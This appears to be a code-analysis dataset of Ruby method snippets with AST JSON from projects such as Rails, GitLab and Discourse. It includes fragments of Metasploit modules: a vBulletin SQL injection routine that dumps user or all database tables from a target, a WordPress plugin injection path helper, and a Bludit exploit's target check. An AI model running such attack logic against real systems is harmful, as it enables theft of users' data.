{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/storages/oauth_access_grant_nudge_modal_component.rb","start_line":62,"raw_source":"def login_button_aria_label\n          I18n.t(\"storages.oauth_grant_nudge_modal.login_button_aria_label\", storage: storage.name)\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"login_button_aria_label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"storages.oauth_grant_nudge_modal.login_button_aria_label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"name\"]}]}]}]}]}","id":"c456566d-a2ca-4620-afa2-d024e0a311fa"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/concerns/account_controller_concern.rb","start_line":33,"raw_source":"def actor_url_link\n    [\n      ActivityPub::TagManager.instance.uri_for(@account),\n      [%w(rel alternate), %w(type application/activity+json)],\n    ]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"actor_url_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rel\"]},{\"type\":\"str\",\"children\":[\"alternate\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"application/activity+json\"]}]}]}]}]}","id":"97204224-7a87-4f22-9a39-4d92da27221b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":3601,"raw_source":"def test_mix_string_to_controller\n    draw do\n      get \"/projects\", controller: \"project_files\",\n                       to: \"comments#index\"\n    end\n    get \"/projects\"\n    assert_equal \"comments#index\", @response.body\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mix_string_to_controller\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"project_files\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"comments#index\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/projects\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"comments#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"92e83453-79b9-45db-93e0-f164a42e0c28"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/pretty_text.rb","start_line":521,"raw_source":"def self.make_all_links_absolute(doc)\n    doc\n      .css(\"a[href]\")\n      .each do |a|\n        begin\n          href = a[\"href\"].to_s\n          next if href.blank?\n          next if href.start_with?(\"mailto:\")\n          next if href.start_with?(Discourse.base_url)\n          next if URI(href).host.present?\n\n          a[\"href\"] = (\n            if href.start_with?(Discourse.base_path)\n              \"#{Discourse.base_url_no_prefix}#{href}\"\n            else\n              \"#{Discourse.base_url}#{href}\"\n            end\n          )\n        rescue URI::Error\n          # leave it\n        end\n      end\n  end","complexity_score":31.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"make_all_links_absolute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"doc\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"a[href]\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"href\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"mailto:\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]},\"start_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"href\"]}]},\"host\"]},\"present?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"href\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]},\"start_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url_no_prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"Error\"]}]},null,null]},null]}]}]}]}","id":"0a56eb3d-fe56-491e-9a66-3a3934c9a499"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/primary_host.rb","start_line":39,"raw_source":"def query_cache_enabled\n          @load_balancer.pool.query_cache_enabled\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query_cache_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@load_balancer\"]},\"pool\"]},\"query_cache_enabled\"]}]}","id":"43b07ad0-cfc7-4463-b11d-90b641721559"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb","start_line":48,"raw_source":"def uri_plugin\n    normalize_uri(wordpress_url_plugins, datastore['URI_PLUGIN'], 'get_album_item.php')\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"uri_plugin\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"wordpress_url_plugins\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI_PLUGIN\"]}]},{\"type\":\"str\",\"children\":[\"get_album_item.php\"]}]}]}","id":"0ebe1fb9-b342-4ffc-828d-2c1ba4dd8a40"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/enterprise_token.rb","start_line":236,"raw_source":"def load_token!\n    @token_object = OpenProject::Token.import(encoded_token)\n  rescue OpenProject::Token::ImportError => e\n    Rails.logger.error \"Failed to load EE token: #{e}\"\n    nil\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_token!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@token_object\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Token\"]},\"import\",{\"type\":\"send\",\"children\":[null,\"encoded_token\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Token\"]},\"ImportError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to load EE token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"28ea2622-19bd-4583-a897-07005f6b854c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/vbulletin_getindexablecontent_sqli.rb","start_line":253,"raw_source":"def run\n    # Get node_id for requests\n    node_id = get_node\n    fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id\n\n    # Get vBulletin table prefix (from known vb table 'language')\n    table_prfx = get_table_prefix(node_id)\n\n    tables = action.name == 'DumpAll' ? get_all_tables(node_id, table_prfx) : [\"#{table_prfx}user\"]\n    tables.each do |table|\n      columns = get_table_columns(node_id, '', table)\n      rows = get_all_rows(node_id, '', table, columns)\n      store_data(rows, table.to_s) unless rows.nil?\n    end\n  end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node_id\",{\"type\":\"send\",\"children\":[null,\"get_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_id\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Could not get a valid node id for the vBulletin install.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"table_prfx\",{\"type\":\"send\",\"children\":[null,\"get_table_prefix\",{\"type\":\"lvar\",\"children\":[\"node_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tables\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"DumpAll\"]}]},{\"type\":\"send\",\"children\":[null,\"get_all_tables\",{\"type\":\"lvar\",\"children\":[\"node_id\"]},{\"type\":\"lvar\",\"children\":[\"table_prfx\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_prfx\"]}]},{\"type\":\"str\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"send\",\"children\":[null,\"get_table_columns\",{\"type\":\"lvar\",\"children\":[\"node_id\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"table\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"send\",\"children\":[null,\"get_all_rows\",{\"type\":\"lvar\",\"children\":[\"node_id\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[null,\"store_data\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"to_s\"]}]}]}]}]}]}]}","id":"e2ec226c-79f6-4fa3-b28d-c9280879e3b9"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_request_single.rb","start_line":258,"raw_source":"def test_malformed_headers_no_return\n    request = \"GET / HTTP/1.1\\r\\nno-return: 10\\nContent-Length: 11\\r\\n\\r\\nHello World\"\n\n    msg = Puma::IS_JRUBY ?\n      \"Invalid HTTP format, parsing fails. Bad headers\\nno-return: 10\\\\nContent-Length: 11\" :\n      \"Invalid HTTP format, parsing fails. Bad headers\\nNO_RETURN: 10\\\\nContent-Length: 11\"\n\n    assert_invalid request, msg\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_malformed_headers_no_return\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.1\\r\\nno-return: 10\\nContent-Length: 11\\r\\n\\r\\nHello World\"]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"if\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"IS_JRUBY\"]},{\"type\":\"str\",\"children\":[\"Invalid HTTP format, parsing fails. Bad headers\\nno-return: 10\\\\nContent-Length: 11\"]},{\"type\":\"str\",\"children\":[\"Invalid HTTP format, parsing fails. Bad headers\\nNO_RETURN: 10\\\\nContent-Length: 11\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_invalid\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}","id":"ce677557-c632-4beb-9a66-76acaac34eb8"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20211206160212_drop_token_from_email_tokens.rb","start_line":6,"raw_source":"def up\n    DROPPED_COLUMNS.each { |table, columns| Migration::ColumnDropper.execute_drop(table, columns) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DROPPED_COLUMNS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"ColumnDropper\"]},\"execute_drop\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}","id":"7b5df9d3-9907-4e5c-b661-e9f598688e28"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/base.rb","start_line":147,"raw_source":"def beat\n        transmit type: ActionCable::INTERNAL[:message_types][:ping], message: Time.now.to_i\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"beat\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"transmit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"INTERNAL\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message_types\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"ping\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]}]}]}]}]}","id":"79ec3932-aeb9-42ef-b08c-78cf63698668"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/integration.rb","start_line":428,"raw_source":"def default_url_options\n        integration_session.default_url_options\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_url_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration_session\"]},\"default_url_options\"]}]}","id":"859cd6cc-aae4-4786-a757-ed15f0b29151"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":872,"raw_source":"def initialize(interval, log, &callback)\n        @log = log\n        @callback = callback\n        super(interval, true)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"interval\"]},{\"type\":\"arg\",\"children\":[\"log\"]},{\"type\":\"blockarg\",\"children\":[\"callback\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@log\",{\"type\":\"lvar\",\"children\":[\"log\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@callback\",{\"type\":\"lvar\",\"children\":[\"callback\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interval\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"180d4bbc-f880-4619-96c7-f6e7cdd78e72"}
{"repo_name":"forem","file_path":"./repos/forem/app/lib/api_constraints.rb","start_line":2,"raw_source":"def initialize(options)\n    @version = options[:version]\n    @default = options[:default]\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@default\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"default\"]}]}]}]}]}","id":"cd1b5085-c2f0-4262-85b8-0c70d43b8c6d"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_metrics.rb","start_line":139,"raw_source":"def sub_gauge(value)\n    @data -= value\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sub_gauge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@data\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"1a97657d-d632-4a95-b468-334c5cd51a97"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/commits_helper.rb","start_line":39,"raw_source":"def commit_list_app_data\n    {\n      'project_full_path' => @project.full_path,\n      'project_root_path' => project_path(@project),\n      'project_path' => @project.path,\n      'project_id' => @project.id.to_s,\n      'escaped_ref' => ActionDispatch::Journey::Router::Utils.escape_path(@ref),\n      'ref_type' => @ref_type.to_s,\n      'root_ref' => @project.default_branch,\n      'browse_files_path' => path_to_browse_file_or_directory(@project, @ref, @path),\n      'commits_feed_path' => project_commits_path(@project, @id, rss_url_options),\n      'base_path' => project_commits_root_path(@project)\n    }\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_list_app_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"project_full_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"full_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"project_root_path\"]},{\"type\":\"send\",\"children\":[null,\"project_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"project_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"escaped_ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Journey\"]},\"Router\"]},\"Utils\"]},\"escape_path\",{\"type\":\"ivar\",\"children\":[\"@ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ref_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ref_type\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"root_ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"default_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"browse_files_path\"]},{\"type\":\"send\",\"children\":[null,\"path_to_browse_file_or_directory\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"ivar\",\"children\":[\"@ref\"]},{\"type\":\"ivar\",\"children\":[\"@path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"commits_feed_path\"]},{\"type\":\"send\",\"children\":[null,\"project_commits_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"ivar\",\"children\":[\"@id\"]},{\"type\":\"send\",\"children\":[null,\"rss_url_options\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"base_path\"]},{\"type\":\"send\",\"children\":[null,\"project_commits_root_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]}","id":"16e0c431-e644-478a-881c-830eaf5f9443"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/uploaders/fog_file_uploader.rb","start_line":56,"raw_source":"def local_file\n    @remote_file ||= file\n    cache_stored_file!\n    super\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"local_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@remote_file\"]},{\"type\":\"send\",\"children\":[null,\"file\"]}]},{\"type\":\"send\",\"children\":[null,\"cache_stored_file!\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"14b2402c-9f9a-4157-9803-841635327afd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/bludit_upload_images_exec.rb","start_line":84,"raw_source":"def check\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'index.php')\n    })\n\n    unless res\n      vprint_error('Connection timed out')\n      return CheckCode::Unknown\n    end\n\n    html = res.get_html_document\n    generator_tag = html.at('meta[@name=\"generator\"]')\n    unless generator_tag\n      vprint_error('No generator metadata tag found in HTML')\n      return CheckCode::Safe\n    end\n\n    content_attr = generator_tag.attributes['content']\n    unless content_attr\n      vprint_error(\"No content attribute found in metadata tag\")\n      return CheckCode::Safe\n    end\n\n    if content_attr.value == 'Bludit'\n      return CheckCode::Detected\n    end\n\n    CheckCode::Safe\n  end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Connection timed out\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"generator_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"at\",{\"type\":\"str\",\"children\":[\"meta[@name=\\\"generator\\\"]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generator_tag\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"No generator metadata tag found in HTML\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content_attr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generator_tag\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_attr\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"No content attribute found in metadata tag\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_attr\"]},\"value\"]},\"==\",{\"type\":\"str\",\"children\":[\"Bludit\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"7f47aee7-a0f6-4324-a16f-a6198518eb10"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/option_values_controller.rb","start_line":20,"raw_source":"def permitted_resource_params\n        params.require(:option_value).permit(permitted_option_value_attributes)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"option_value\"]}]},\"permit\",{\"type\":\"send\",\"children\":[null,\"permitted_option_value_attributes\"]}]}]}","id":"638cbdc5-def4-4454-8721-08b5cc99db8d"}
